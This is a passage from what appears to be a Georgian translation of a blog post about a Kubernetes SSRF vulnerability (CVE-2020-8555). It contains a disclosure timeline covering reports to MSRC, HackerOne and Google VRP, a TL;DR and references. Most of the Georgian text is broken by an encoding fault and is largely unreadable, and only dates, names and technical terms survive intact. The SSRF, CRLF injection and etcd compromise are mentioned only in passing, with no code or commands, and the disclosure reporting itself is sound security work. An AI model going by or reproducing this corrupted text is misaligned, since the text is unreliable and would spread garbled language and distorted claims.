แแแแแแแแ แฉแแแ แแแแงแแคแแแแแแ K8s-แแก แแแ แแฃแ แแแ แแแแจแ แแ แแแคแแกแแแแแ แแแแแแแแก แแแแแแแแแแแ, แจแแแแแซแแแ แฌแแ แแแแแแแแแแ แแ แแแแแ แกแชแแแแ แ, แ แแแแช แจแแแซแแแแ แแแแแแแ แแแแฎแแแแแก แฎแแแแแกแแฌแแแแแแแแแ. แแแแแขแแแแแ แแแแแแแแแแ แแแแชแแแก etcd แแแแแชแแแแ แแแแแก แแแคแฃแญแแแแก แแ แแ แแขแแแฃแ แแแ แก Kubernetes API-แแ.
แฅแ แแแแแแแแ
- 6 แฌแแแก 2019 แแแแแแแแ แ: แแแฃแชแแแแแแแก แจแแกแแฎแแ แแแฎแกแแแแแฃแแ MSRC Bug Bounty-แก.
- 3 แฌแแแก 2020 แแแแแแ แ: แแแกแแแ แแฎแแ แแ แแชแแแแ Kubernetes-แแก แแแแแแแแแ แแแก, แ แแ แฉแแแ แแแฃแจแแแแแแ แฃแกแแคแ แแฎแแแแแก แกแแแแแฎแแ. แแ แกแแฎแแแ แแแ แแแแแฎแแแแ SSRF, แ แแแแ แช แจแแแ (แซแแ แแแแแ) แแแฃแชแแแแแแ. แจแแแแแ แฉแแแ แแแแแฌแแแแ แแแแแแ แแแแแ แแจแ แขแแฅแแแแฃแ แ แแแขแแแแแแ แแ แแแแแแแก แฌแงแแ แแก แจแแกแแฎแแ.
- 15 แฌแแแก 2020 แแแแแแ แ: แฉแแแ แแแแแฌแแแแ แขแแฅแแแแฃแ แ แแ แแแแแแ แแแแแ แแจแแแ Kubernetes-แแก แแแแแแแแแ แแแก แแแแ แแแแฎแแแแแ (HackerOne แแแแขแคแแ แแแก แแแจแแแแแแ).
- 15 แฌแแแก 2020 แแแแแแ แ: Kubernetes-แแก แแแแแแแแแ แแแแ แจแแแแแขแงแแแแแแก, แ แแ แแแฎแแแ แแ แแ แแ SSRF + CRLF แแแแฅแชแแ แฌแแ แกแฃแแ แแแแแจแแแแแแแกแแแแก แแแแแฎแแแแแ แ แแแแ แช แซแแ แแแแแ แแแฃแชแแแแแแ. แฉแแแ แแแจแแแแ แจแแแฌแงแแแขแแ แกแฎแแ แกแแ แแแกแแก แแ แแแแแแแ แแแแก แแแ แแแแขแ แแก แแแแแแแ: K8s-แแก แแฃแแแ แแฎแแ แซแแ แคแแกแแแแ แแแแแแก แแแแแ แแแแ.
- 15 แฌแแแก 2020 แแแแแแ แ: MSRC แฏแแแแ แแแฆแแแฃแแ HackerOne-แแก แแแจแแแแแแ.
- 16 แฌแแแก 2020 แแแแแแ แ: Kubernetes PSC (แแ แแแฃแฅแขแแก แฃแกแแคแ แแฎแแแแแก แแแแแขแแขแแ) แแฆแแแ แ แแแฃแชแแแแแแ แแ แกแแฎแแแ แแแกแ แกแแแแฃแแแแ แจแแแแฎแแ แแแ แขแแก แจแฃแ แ แแชแฎแแแแแแแ แแแขแแแชแแฃแ แ แแกแฎแแแ แแแแก แแแแ แ แแแแแแแแแก แแแแ.
- 11 แฌแแแก 2020 แแแแแ แแแแ: แแแฆแแแฃแแแ Google VRP แฏแแแแ.
- 4 แฌแแแก 2020 แแแ แขแ: Kubernetes-แแก แฏแแแแ แแแฆแแแฃแแ HackerOne-แแก แแแจแแแแแแ.
- 15 แฌแแแก 2020 แแแ แขแ: แแแแแแแแ แแแแแ แแแแแแแแแ แกแแฏแแ แ แแแแแฆแแแแแแ แแแแแแแ COVID-19 แกแแขแฃแแชแแแก แแแแ.
- 1 แฌแแแก 2020 แแแแแกแ: Kubernetes + Microsoft-แแก แแ แแแแแแแ แแแแชแฎแแแแแ แแแฃแชแแแแแแแก แจแแกแแฎแแ.
TL; DR
- แแฃแแก แแกแแแแ แแ แแแชแแก แแญแแแ :)
- แฉแแแ แแฆแแแแแฉแแแแ แซแแ แแแแแ แแแฃแชแแแแแแ Kubernetes-แจแ, แแฃแแชแ แแแแก แแแแแแแแ แแ แแแฅแแแแ แแแแแ แแฎแฃแแ.
- แฉแแแ แฉแแแแขแแ แแ แแแแแขแแแแแ แแแแแแแ แฆแ แฃแแแแแแแ แแ แแแแแแแ แแแแก แแแแกแขแแ แแแแ แแ แจแแแซแแแแ แแแแ แแแแแงแ แแแฃแชแแแแแแแ แแแแแฌแแแฃแแ แแแแแ แแแแแขแแแแแ แแแกแแแชแแ แ แแแแฃแกแแแแก แแแกแแฆแแแแ.
- แแ แกแขแแขแแแจแ แแแฎแแแ แแแแ แขแแฅแแแแฃแ แแแขแแแก. แแแฎแแ แฃแแ แแแฅแแแแแ แแแแแแฎแแแแ แแแ แแฅแแแแแแ แแ แแแ (แขแแแขแแ แ:
@ReeverZax &@__hach_ ). - แแฆแแแฉแแแ, แ แแ แงแแแแ แกแแฎแแก แคแแ แแแแแแแก แแ แแแฎแกแแแแแแก แแแกแแแแแแแแแ แแแแ แแ แแแขแ แแ แ แแแกแญแแ แแ.
แแแขแแ แแขแฃแ แ
-
Google แฏแแฃแคแ kubernetes-security-announce ; -
CVE-2020-8555 ; -
แแแแแแแแก แแแแแ แ #30794 ; -
heketi/client/api/go-client/volume.go .
PS แแแแ แแแแแแแกแแแ
แแกแแแ แฌแแแแแแฎแแ แฉแแแแก แแแแแแ:
- ยซ
Kubernetes-แแก แจแแชแแแแแแแ แแแแแ แแแ แแคแแชแแแแฃแ แแ แแแฎแกแแแแแ "; - ยซ
แแแแแแแ แแแแแกแแแ แแฃแแแ แแแขแจแ แแฃแ แแแแแแแก แแแแแแขแแแแแแ "; - ยซ
33+ Kubernetes แฃแกแแคแ แแฎแแแแแก แแแกแขแ แฃแแแแขแแแ ".
แฌแงแแ แ: www.habr.com